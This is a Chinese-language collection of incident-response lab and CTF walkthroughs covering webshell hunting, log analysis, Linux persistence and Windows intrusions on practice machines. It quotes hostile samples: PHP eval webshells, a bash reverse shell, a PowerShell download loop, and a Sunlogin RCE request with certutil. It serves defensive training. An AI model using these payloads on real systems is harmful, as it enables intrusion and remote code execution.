  9. 第一章 应急响应-webshell查杀 简介 靶机账号密码 root xjwebshell 1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx} 2.黑客使用的什么工具的shell github地址的md5 flag{md5} 3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx 4.黑客免杀马完整路径 md5 flag{md5} 1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx} 进去靶机开久了会扣金币,所以一进去把文件dump下来 tar -czvf html.tar.gz ./ dump下来之后直接先D盾一把梭先 扫描结果如下 id 级别 大小 CRC 修改时间 文件 (说明) -------------------------------------------------------------------------------------------------------------------------------------------- 00001 4 38 FEE1C229 23-08-02 10:52:25 \html\shell.php 『Eval后门 {参数:$_REQUEST[1]}』 00002 4 808 3F54B485 23-08-02 10:56:39 \html\include\gz.php 『(内藏)Eval后门 {参数:encode($_SESSION[$payloadName],"3c6e0b8a9c15224a")}』 00003 3 205 D6CF6AC8 23-08-02 16:56:29 \html\wap\top.php 『变量函数[$c($fun)]|可疑文件』 00004 4 768 3DEFBD91 23-08-02 11:01:06 \html\include\Db\.Mysqli.php 『(内藏)Eval后门 {参数:encode($_SESSION[$payloadName],"3c6e0b8a9c15224a")}』 -------------------------------------------------------------------------------------------------------------------------------------------- 有很多,一个一个看在\html\include\gz.php里看到一行注释 //027ccd04-5065-48b6-a32d-77c704a5e26d 就是flag了 flag{027ccd04-5065-48b6-a32d-77c704a5e26d} 2.黑客使用的什么工具的shell github地址的md5 flag{md5} 随便把shell里复制出来一段 $data=encode($data,$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); 然后直接丢github搜 塞不了图片,直接丢github之后左边选code就能看到 看到是哥斯拉 https://github.com/BeichenDream/Godzilla md5一下 flag{39392de3218c333f794befef07ac9257} 3.黑客隐藏shell的完整路径的md5 flag{md5}注:/xxx/xxx/xxx/xxx/xxx.xxx 隐藏shell我们可以看到d盾扫出来有一个.Mysqli.php的隐藏文件 完整路径就是/var/www/html/include/Db/.Mysqli.php md5后为flag flag{aebac0e58cd6c5fad1695ee4d1ac1919} 4.黑客免杀马完整路径 md5 flag{md5} 至于是不是免杀马 丢杀毒软件看一下 塞不了图片,直接丢火绒查杀一下发现有三个都扫出来了,还有一个没扫出来 发现top.php没扫出来,那么就是/var/www/html/wap/top.php了 md5一下之后就是 flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de} 第一章 应急响应-Linux日志分析 简介 账号root密码linuxrz ssh root@IP 1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割 2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割 3.爆破用户名字典是什么?如果有多个使用","分割 4.登陆成功的IP共爆破了多少次 5.黑客登陆主机后新建了一个后门用户,用户名是多少 1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割 我们先把/var/log里面的日志dump下来 tar -czvf log.tar.gz ./ 里面找到auth.log.1是放ssh的日志,放到自己虚拟机用正则分析 看有多少ip在爆,直接找登录失败的就行了 cat auth.log.1|grep -a "Failed password for root" 输出 Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2 Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2 Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2 Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2 Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2 Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2 看到就三个ip,那么flag就是 flag{192.168.200.2,192.168.200.31,192.168.200.32} 这是ip比较少的情况下,ip比较多的话可以用下面命令 cat auth.log.1 | grep -a "Failed password for root" |awk '{print $11}' |uniq -c 输出 1 192.168.200.32 4 192.168.200.2 1 192.168.200.31 2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割 登录成功就找Accepted的字样 cat auth.log.1|grep -a "Accepted " 输出 Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2 Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2 就一个192.168.200.2那么flag就是 flag{192.168.200.2} 3.爆破用户名字典是什么?如果有多个使用","分割 我们看爆破字典,要找验证错误的就是"Failed password" cat auth.log.1|grep -a "Failed password" 输出 Aug 1 07:40:50 linux-rz sshd[7461]: Failed password for invalid user test1 from 192.168.200.35 port 33874 ssh2 Aug 1 07:41:04 linux-rz sshd[7465]: Failed password for invalid user test2 from 192.168.200.35 port 51640 ssh2 Aug 1 07:41:13 linux-rz sshd[7468]: Failed password for invalid user test3 from 192.168.200.35 port 48168 ssh2 Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2 Aug 1 07:46:41 linux-rz sshd[7475]: Failed password for invalid user user from 192.168.200.2 port 36149 ssh2 Aug 1 07:46:47 linux-rz sshd[7478]: Failed password for invalid user user from 192.168.200.2 port 44425 ssh2 Aug 1 07:46:50 linux-rz sshd[7480]: Failed password for invalid user user from 192.168.200.2 port 38791 ssh2 Aug 1 07:46:54 linux-rz sshd[7482]: Failed password for invalid user user from 192.168.200.2 port 37489 ssh2 Aug 1 07:46:56 linux-rz sshd[7484]: Failed password for invalid user user from 192.168.200.2 port 35575 ssh2 Aug 1 07:46:59 linux-rz sshd[7486]: Failed password for invalid user hello from 192.168.200.2 port 35833 ssh2 Aug 1 07:47:02 linux-rz sshd[7489]: Failed password for invalid user hello from 192.168.200.2 port 37653 ssh2 Aug 1 07:47:04 linux-rz sshd[7491]: Failed password for invalid user hello from 192.168.200.2 port 37917 ssh2 Aug 1 07:47:08 linux-rz sshd[7493]: Failed password for invalid user hello from 192.168.200.2 port 41957 ssh2 Aug 1 07:47:10 linux-rz sshd[7495]: Failed password for invalid user hello from 192.168.200.2 port 39685 ssh2 Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2 Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2 Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2 Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2 Aug 1 07:47:26 linux-rz sshd[7525]: Failed password for invalid user from 192.168.200.2 port 37013 ssh2 Aug 1 07:47:30 linux-rz sshd[7528]: Failed password for invalid user from 192.168.200.2 port 37545 ssh2 Aug 1 07:47:32 linux-rz sshd[7530]: Failed password for invalid user from 192.168.200.2 port 39111 ssh2 Aug 1 07:47:35 linux-rz sshd[7532]: Failed password for invalid user from 192.168.200.2 port 35173 ssh2 Aug 1 07:47:39 linux-rz sshd[7534]: Failed password for invalid user from 192.168.200.2 port 45807 ssh2 Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2 东西太多了,我们用命令匹配一下,要匹配for和form之间的字符 cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|sort -nr|uniq -c 输出 6 for root from 5 for invalid user user from 1 for invalid user test3 from 1 for invalid user test2 from 1 for invalid user test1 from 5 for invalid user hello from 5 for invalid user from 那么就得到字典 flag{root,user,hello,test3,test2,test1} 看来是顺序不对啊,这个顺序问题也太怪了,不得不吐槽的问题,那可能就是要原始的顺序把 cat auth.log.1|grep -a "Failed password"| grep -o 'for .* from'|uniq -c|sort -nr 输出 5 for invalid user user from 5 for invalid user hello from 5 for invalid user from 4 for root from 1 for root from 1 for root from 1 for invalid user test3 from 1 for invalid user test2 from 1 for invalid user test1 from flag就为 flag{user,hello,root,test3,test2,test1} 4.登陆成功的IP共爆破了多少次 cat auth.log.1|grep -a "192.168.200.2"|grep "for root" 4次 flag{4} 5.黑客登陆主机后新建了一个后门用户,用户名是多少 直接登/etc/passwd看,发现是test2,直接找也可以 cat auth.log.1|grep -a "new user" 输出 Aug 1 07:50:45 linux-rz useradd[7551]: new user: name=test2, UID=1000, GID=1000, home=/home/test2, shell=/bin/sh Aug 1 08:18:27 ip-172-31-37-190 useradd[487]: new user: name=debian, UID=1001, GID=1001, home=/home/debian, shell=/bin/bash flag就是 flag{test2} 第一章 应急响应- Linux入侵排查 简介 账号:root 密码:linuxruqin ssh root@IP 1.web目录存在木马,请找到木马的密码提交 2.服务器疑似存在不死马,请找到不死马的密码提交 3.不死马是通过哪个文件生成的,请提交文件名 4.黑客留下了木马文件,请找出黑客的服务器ip提交 5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交 1.web目录存在木马,请找到木马的密码提交 到/var/www把html目录dump下来先 tar -czvf html.tar.gz ./ 直接先丢d盾开扫,扫出来结果如下 id 级别 大小 CRC 修改时间 文件 (说明) -------------------------------------------------------------------------------------------------------------------------------------------- 00001 4 88 70B2B130 21-01-01 08:00:01 \.shell.php 『Eval后门 {参数:$_POST[cmd]}』 00002 4 24 F46D132A 23-08-03 10:15:23 \1.php 『Eval后门 {参数:$_POST[1]}』 00003 1 655360 A3580725 23-08-03 10:45:11 \html\1.tar 『可疑文件』 00004 1 722 17D041A4 23-08-03 10:40:18 \html\index.php 『可疑文件』 -------------------------------------------------------------------------------------------------------------------------------------------- //原来已经给我们打包好了 = = 看到1.php里面的 <?php eval($_POST[1]);?> 密码就是1 flag{1} 2.服务器疑似存在不死马,请找到不死马的密码提交 在index.php中有一段话 $file = '/var/www/html/.shell.php'; $code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>'; file_put_contents($file, $code); 明显是写不死马的,我们把md5丢cmd5里爆破一下得到密码hello 那么就是 flag{hello} 3.不死马是通过哪个文件生成的,请提交文件名 上面我们看到index.php是写不死马的,那么flag就是 flag{index.php} 4.黑客留下了木马文件,请找出黑客的服务器ip提交 我们看到还有一个shell.elf没处理 理论上是要丢ida逆向一下的,但是不会,只能找其他方法了= = 我们丢虚拟机上run一下 chmod +x shell.elf ./shell.elf 然后查看一下网络连接 netstat -antlp 输出里面有一个 tcp 0 1 192.168.1.130:49774 10.11.55.21:3333 SYN_SENT 看到ip就是10.11.55.21 flag{10.11.55.21} 5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交 端口就是3333 flag{3333} 第二章 日志分析-redis应急响应 flag1 通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交; 查看redis日志 (路径 /var/log/redis.log) 暂时无法在飞书文档外展示此内容 用notepad++ 正则表达式匹配Ip \b(?:\d{1,3}\.){3}\d{1,3}\b 然后将标记文本复制到新文件里面查看,很明显看出192.168.100.13居多,结合日志很多报Eeeor的都与192.168.100.13有关 flag{192.168.100.20} flag2 通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交; 观察日志, 上面部分是黑客进行攻击爆破时的日志,后面与上面不一样,多半就是黑客爆破成功后进行的操作,我们重点关注后面的内容 在里面找到一个可疑的操作 暂时无法在飞书文档外展示此内容 用Notepad++打开看看 搜索flag{ 里面发现了flag flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b} flag3 通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交; 对于redis数据库提权一般来说有4种方法 写密钥ssh 计划任务 反弹shell CVE-2022-0543 沙盒绕过命令执行 (集成在template当中) 这里面可以先排除反弹shell与CVE-2022-0543 因为反弹shell很容易出问题导致连接失败。 先看下有没有写公钥 cat /root/.ssh/authorized_keys 可以看到是写了公钥的。但仅靠公钥我们是找不到反弹Ip的 再查看计划任务 crontab -l 成功发现反弹shell命令 flag{192.168.100.13} flag4 通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交 在flag3中,我们发现了公钥,公钥后面就有黑客的用户名xj-test-user 后面的关键字符串找了半天没发现。后面看了Wp才知道,用用户名去github里面搜索 GitHub - xj-test-user/redis-rogue-getshell 连起来 flag{xj-test-user-wow-you-find-flag} flag5 通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交; 大多数Linux命令都是编译后的二进制可执行文件 这些可执行文件一般放置于 /bin、/sbin、/usr/bin、/usr/sbin 等目录中 我们到/bin目录 按照时间顺序查看最新的文件 cat /bin/ps 可以发现ps命令被篡改了 flag{c195i2923381905517d818e313792d196} 总结 了解redis提权的4种方式 写密钥ssh 计划任务 反弹shell CVE-2022-0543 沙盒绕过命令执行 (集成在template当中) 学会利用正则表达式进行过滤 notepad++ 匹配ip \b(?:\d{1,3}\.){3}\d{1,3}\b 寻找工具的关键代码可以用关键信息到github进行搜索 篡改的命令一般位于**/bin、/sbin、/usr/bin、/usr/sbin** 等目录中,利用时间排序快速筛选出被串改的命令 第二章 日志分析-Mysql 应急响应 查找第一次写入的 Shell 首先切换到网站路径 cd /var/www/html 打包源码使用 D 盾进行扫描 tar -czvf web.tar.gz ./* 发现sh.php中存在eval()函数,确定此文件为写入的 Shell,在 Shell 中找到 Flag 为ccfda79e-7aa1-4275-bc26-a6189eb9a20b 寻找反弹 Shell IP 这里我们需要寻找 Mysql 的报错日志,路径如下: /var/log/mysql/error.log 在日志中找到一个可疑的1.sh脚本 /tmp/1.sh: line 1: --2023-08-01: command not found /tmp/1.sh: line 2: Connecting: command not found /tmp/1.sh: line 3: HTTP: command not found /tmp/1.sh: line 4: Length:: command not found /tmp/1.sh: line 5: Saving: command not found /tmp/1.sh: line 7: 0K: command not found /tmp/1.sh: line 9: syntax error near unexpected token `(' /tmp/1.sh: line 9: `2023-08-01 02:16:35 (5.01 MB/s) - '1.sh' saved [43/43]' 查看1.sh的具体如下,可以发现攻击者反弹 Shell 的 IP,这段脚本启动了 Bash Shell,将流量重定向到 TCP 连接上,实现反弹 Shell 的目的,故 Flag 为192.168.100.13 bash -i >&/dev/tcp/192.168.100.13/777 0>&1 寻找提权文件 因为本关都是关于 Mysql 的应急响应,故猜测提权方式也和 Mysql 有关,关于 Mysql 的提权方法有四种,分别是: UDF 提权 MOF 提权 启动项提权 CVE-2016-6663 基于目前的环境我们可以排除 MOF 提权(Windows 下可利用),启动项提权(Windows 下可利用),而 CVE-2016-6663 需要 MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17,而我们环境的 MariaDB 版本为 5.5.64,不在此漏洞的影响版本内,也可以排除掉 所以目前只剩 UDF 提权一种方法,我们只需排查这个提权方式即可,UDF 提权是基于自定义函数实现的,而自定义函数的前提是 UDF 的动态链接库文件放置于 MySQL 安装目录下的lib\plugin文件夹,故我们需要登录 Mysql 对 plugin 关键字进行排查 一般来说,在/etc/mysql/my.cnf会保存 Mysql 的登录密码,但是本关在这里并没有找到密码 在网站目录下存在一个common.php,是网站的配置文件,包含 Mysql 的账户密码 /var/www/html/common.php 之后登录 Mysql 进行排查 mysql -uroot -p334cc35b3c704593 之后对 plugin 关键词进行排查,显示所有与 plugin 相关的系统变量 show variables like '%plugin%'; 发现一个有效变量为plugin_dir,对其路径进行排查 发现一个udf.so,也就变相验证了我们刚才的排查思路没错 最终完整路径如下,故 MD5 加密为 Flag 为b1818bde4e310f3d23f1005185b973e7 /usr/lib/mysql/plugin/udf.so 确定攻击者获得的权限 使用ps -aux命令查看进程的详细信息,可以看到提权文件的运行后的权限为mysql,故 Flag 为 mysql 第二章 日志分析-Apache 日志分析 登录靶机,我们的目的是分析 Apache 的日志,Apache+Linux 日志路径一般是以下三种: /var/log/apache/access.log /var/log/apache2/access.log /var/log/httpd/access.log 这里我们可以发现/var/log目录下有apache2文件夹,也就是上面的第二种路径 切换到/var/log/apache2路径,使用ls -l列出当前路径下的所有文件,发现access.log是空的,这里我们分析access.log.1 访问次数最多的 IP 这里手动查询出访问次数最多的 IP,命令如下,这个命令用于统计access.log.1文件中每个独特的第一部分出现的次数,并显示出现次数最多的前 20 个,这里查询出的 IP 为192.168.200.2 cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20 查找指纹 第二个 Flag 要求我们查找攻击者的指纹,我们可以根据 IP 在日志中进行反查,所以我们在access.log.1文件中匹配192.168.200.2,提取出指纹为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36,转为 md5 为2d6330f380f44ac20f3a02eed0958f66 cat access.log.1 |grep "192.168.200.2" 查看页面访问次数 第三个 Flag 是index.php页面被访问的次数,首先在日志中识别/index.php,之后使用管道符进行拼接,最后使用wc(word count)命令进行计数,-l参数就是只计算行数,最终结果为 27 grep "/index.php" access.log.1 |wc -l 查看 IP 访问次数 第四个 Flag 和第三个基本一致,差别在于如果直接使用grep "192.168.200.2"会匹配到192.168.200.211这个 IP,造成错误 所以这里我们使用-w参数进行全匹配,这样就只查询192.168.200.2的个数了,最终结果是6555 grep -w "192.168.200.2" access.log.1 |wc -l 查看时间段内的 IP 第五个 Flag 要求查看 2023年8月03日8时 这一个小时内有多少IP访问,这个时间段在日志中表示为03/Aug/2023:08: 这里使用grep命令匹配这个时间段,之后使用awk命令打印出匹配日志的第一个字段(IP 地址),最后使用sort命令进行数字(-n)逆序(-r),使用 uniq -c 命令计算每个独特IP地址的出现次数 cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort -nr| uniq -c 最终查询出有五个 IP 在此时间段内进行访问 第三章 权限维持-linux权限维持-隐藏 黑客隐藏的隐藏文件 find / -type f -name ".*" 2>/dev/null | grep -v "^\/sys\/" // 查找隐藏文件 find / -type d -name ".*" 2>/dev/null // 查找隐藏目录 这个目录很可疑,进入查看 只有这个1.py存在执行权限,对这个目录文件 /tmp/.temp/libprocesshider/1.py 加密,提交 flag{109ccb5768c70638e24fb46ee7957e37} 2.文件反弹shell的IP以及端口 这个可以直接查看这个1.py内容,但是在/tmp下存在一个1.sh但是无法运行,提交flag{114.114.114.121:9999}3.黑客提权所用的命令 完整路径 find / -type f -perm -4000 2>/dev/null // 查找设置了suid权限的程序 可以手动切换到ctf用户,测试 对 /usr/bin/find md5加密,提交 flag{7fd5884f493f4aaf96abee286ee04120} 4.黑客尝试注入恶意代码的工具完整路径 继续回到之前使用find查找隐藏目录 这个目录通过查找是一个注入工具 对该工具的完整路径 /opt/.cymothoa-1-beta/cymothoa 加密,提交 flag{087c267368ece4fcf422ff733b51aed9} 5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec** 值 作为flag提交 执行完成后,查看网络连接 python3 /tmp/.temp/libprocesshider/1.py 根据PID查找程序 cat /proc/486/cmdLine 根据题目要求,需要提供完整的执行程序 `whereis python3 提交 `flag{/usr/bin/python3.4} 第四章 windows实战-emlog 1、通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交; 进入phpstudy目录,查看access.log,找到黑客连接的shell路径,打开看到密码是冰蝎默认的rebeyond flag{rebeyond} 2、通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交; 还是看access.log,连接shell的ip就是黑客的ip flag{192.168.126.1} 3、通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交; 查看控制面板,带$的是隐藏账户 flag{hacker138} 4、通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交; 在hacker138用户的桌面找到Kuang.exe,是用python打包的,用ppyinstxtractor.py先解包,再用uncompyle6反编译Kuang.pyc,在代码中找到域名 flag{wakuang.zhigongshanfang.top} 第四章-windows日志分析 题目描述: 某台Windows服务器遭到攻击者入侵,管理员查看发现存在大量rdp爆破的请求,攻击者使用了不同位置的IP(此处模拟),进行爆破并成功,并成功进入了系统,进入系统后又做了其它危害性操作,请根据各题目完成填写 题目来源公众号 州弟学安全 文档:https://mp.weixin.qq.com/s/eJpsOeaEczcPE-uipP7vCQ 任务环境说明 本次环境来自大赛+实战等环境,思路和灵感感谢Zeal大哥提供,基本围绕应急响应中重要的几点去排查 开放题目 审计桌面的logs日志,定位所有扫描IP,并提交扫描次数 暂时无法在飞书文档外展示此内容 分析acceess.log 可以发现里面主要有比较可疑 先看一下有哪些ip访问过 cut access.log -d - -f 1 |uniq -c |sort -rn |head -100 排除掉本地 127.0.0.1的ip就剩下 192.168.150.1 524次 192.168.150.67 6331次 192.168.150.33 54次 192.168.150.60 1次 再打开日志大概看一下每个ip的访问记录 观察后可以发现192.168.150.1的访问日志,其访问的路径都是public下的一些目录。属于正常访问。所以可以排除,而192.168.150.60 只有一次 也可以排除 所以扫描IP就是 192.168.150.67 6331次 192.168.150.33 54次 统计次数也可以用notepad++进行标记 flag{6385} 审计相关日志,提交rdp被爆破失败次数 分享一个工具可以帮助我们快速分析windows日志 暂时无法在飞书文档外展示此内容 这里我们打开工具,查看登录失败的日志(登录失败的事件id为4625) 选择all rows 然后全选复制到excel里面就可以看到有多少次 flag{2594} 审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交 同样用工具 查看远程桌面登录成功日志 (事件id 4624) 可以复制到excel里面 相对好看些 注: 后面的两条 2024-9-17 的rdp登录记录不算。这是我打靶时进行Rdp连接的 flag{192.168.150.1&192.168.150.128&192.168.150.178} 提交黑客创建的隐藏账号 查看历史用户添加情况 这里有两个账户hacker 与 hackers 对应创建的隐藏账户与影子账户 PS:创建用户的事件id为 4720 flag{hacker$} 提交黑客创建的影子账号 flag{hackers$} 提交远程shell程序的连接IP+端口,以IP:port方式提交 看第7题 flag{185.117.118.21:4444} 黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字 win+r 输入 msconfig 查看启动项 发现有一个可疑程序 xiaowei.exe 用云沙乡看看 flag{xiaowei.exe} 查看网络行为,可以得到第6题的答案 黑客使用了计划任务来定时执行某shell程序,提交此程序名字 win+r 输入 taskschd.msc 查看计任务 一眼就可以发现一个很可疑的任务名 download 点进去看一下,发现与后门程序有关,基本就可以实锤了 查看操作可以获取到执行shell程序的名字 download.bat的内容 @echo off :loop echo Requesting download from 185.117.118.21:1111/xiaowei.exe... start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'" timeout /t 300 /nobreak >nul goto loop flag{download.bat} 第四章 windows实战-向日葵 题目1 通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123); 日志路径:C:\Program Files\Oray\SunLogin\SunloginClient\log 特征:WindowsPowerShell 找到最早出现的记录:2024-03-26 10:16:25.585 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, version: HTTP/1.1 flag:flag{2024-03-26 10:16:25.585} 题目2 通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交; 看到上面的记录,connection后面就是对方的IP地址。 flag:flag{192.168.31.45} 题目3 通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交; 关键字ping 随便翻一翻看一下payload,就看到了IP:192.168.31.249 2024-03-26 10:31:07.576 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49329,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1 flag:flag{192.168.31.249} 题目4 找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交; 在C:/Windwos/System32下有一个qq.txt,是一个QQ群647224830,加进去下载群文件 计算一下md5的值:certutil -hashfile DEC.pem MD5 flag:flag{5ad8d202f80202f6d31e077fc9b0fc6b} 题目5 通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交; 桌面的加密文件: N2xTZ2Bsn2Y5lve7KZ36bgsFjqncBs55VO0zkeEIr5Iga/kbegA0BAstotBWnZ16+trNfkzl3apUobodMkC8covEo22p+kWAyVjMRyJ98EQ4Pspr/Y5HIuH0xuvPa82j7b0AMJHkyd2viuymI/mrxjJk2X0xlEE4YVioMLd22+w= Your files have been encrypted 0sWK8adKSGh1Xaxo6n1mZFoyNDYVokXwkBhxnzxU+MEJIV44u48SdOiFzWLn849hObaP6z26lLtMnXaDUnAPuMh+nF2hw9RoAsur7KYxE8/iY/y4jOEBsHT5wvQldcNfntrDyMUCvrWTUHl2yapUmaIIf2rZsNsqMVJ9puZzp58+FJmulyC7R1C2yoP1jHhsdOkU7htbzUWWsm2ybL+eVpXTFC+i6nuEBoAYhv2kjSgL8qKBFsLKmKQSn/ILRPaRYDFP/srEQzF7Y4yZa4cotpFTdGUVU547Eib/EaNuhTyzgOGKjXl2UYxHM/v0c3lgjO7GDA9eF3a/BBXPAgtK126lUfoGK7iSAhduRt5sRP4= 前半部分是RSA加密的AES密钥,后半部分是AES加密的原内容,依次进行解密 RSA AES flag:flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1} 第四章 windows实战-wordpress 1.请提交攻击者攻击成功的第一时间 日志存储位置C:\phpstudy_pro\Extensions\Nginx1.15.11\logs\access.log 黑客一直在爆破后台,从最后一个POST登陆请求之后,访问/manage/welcome.php就返回200了 所以时间是29/Apr/2023:22:45:23flag{2023:04:29 22:45:23} 2、请提交攻击者的浏览器版本 flag{Firefox/110.0} 3、请提交攻击者目录扫描所使用的工具名称 在日志中,发现扫描器特征 flag{Fuzz Faster U Fool} 4、找到攻击者写入的恶意后门文件,提交文件名 使用D盾扫描一下 flag{C:\phpstudy_pro\WWW\.x.php} 5、找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名 同上,已经在D盾中显示出来 flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php} 6、请指出可疑进程采用的自动启动的方式,启动的脚本的名字 查看自启动文件目录 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUpC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 并无可疑文件,接下来查看Temp目录和Windows目录 在Windows目录下,发现可疑文件 x.bat启动了360.exe 将360.exe上传微步看看,发现是木马 flag{x.bat} 第四章 windows实战-黑页&&篡改 靶场启动之后,中间位置出现了两个 IP 地址,直接 mstsc 连接即可 ▲ 远程连接靶机 瞅一眼桌面,貌似可能会有用的:一个 phpstudy、一个 tool.cmd ▲ 靶机桌面 来都来了,看一眼这个 tool.cmd 是嘛玩意? ▲ tool.cmd 文件 貌似没什么卵用,PASS,直接看看 phpstudy 吧 ▲ 靶机上的 phpstudy apache 正在运行、mysql 正在运行。妥了,就看 apache 日志了,抓紧时间,复制到本机,赶在五分钟之前,桀桀桀~ ▲ copy 到本地的 apache 日志 打开 access.log 一看,有点懵逼,空的? error.log 呢? 有点内容,但不多,貌似,并没有什么有价值的信息。什么情况? ▲ apache 日志 Fuck... 被坑了,apache 日志包除了少量的 error.log 之外,其他都是 0kb 赶紧,nginx 日志.... ▲ nginx 日志 *首次薅羊毛失败....* 算了,一向情绪稳定的我,这点小事,不碍事,继续... 打开日志,随便翻翻,浏览器版本、扫描工具,貌似很明显。 emmm 先找攻击成功的时间吧,毕竟 flag 要按照顺序提交的。 ▲ 一些疑似浏览器版本和扫描工具的信息 攻击成功,优先找 response code 为 200 的吧。 往下翻滚的过程中,可以看到,攻击者在进行大量的 fuzz 目录。 ▲ 攻击成功的日志 终于,在接近日志文件末尾的地方,发现了几行日志: 192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "POST /index.php/action/login?_=139102b0477b064f9cf570483837d74c HTTP/1.1" 302 5 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "GET /manage/ HTTP/1.1" 302 5 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "GET /manage/welcome.php HTTP/1.1" 200 10013 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0" 在尝试了几次 login 方法之后。终于,在 29/Apr/2023:22:45:23 时,成功访问到了 welcome.php 页面。 这也就以为这对方登录成功。 所以,根据这条日志,可以确定: flag1:攻击成功时间 flag{2023:04:29 22:45:23} flag2:攻击者浏览器版本 flag{Firefox/110.0} 结合开始的日志信息: flag3:目录扫描工具名(不需要版本号) flag{*Fuzz Faster U Fool}* ▲ 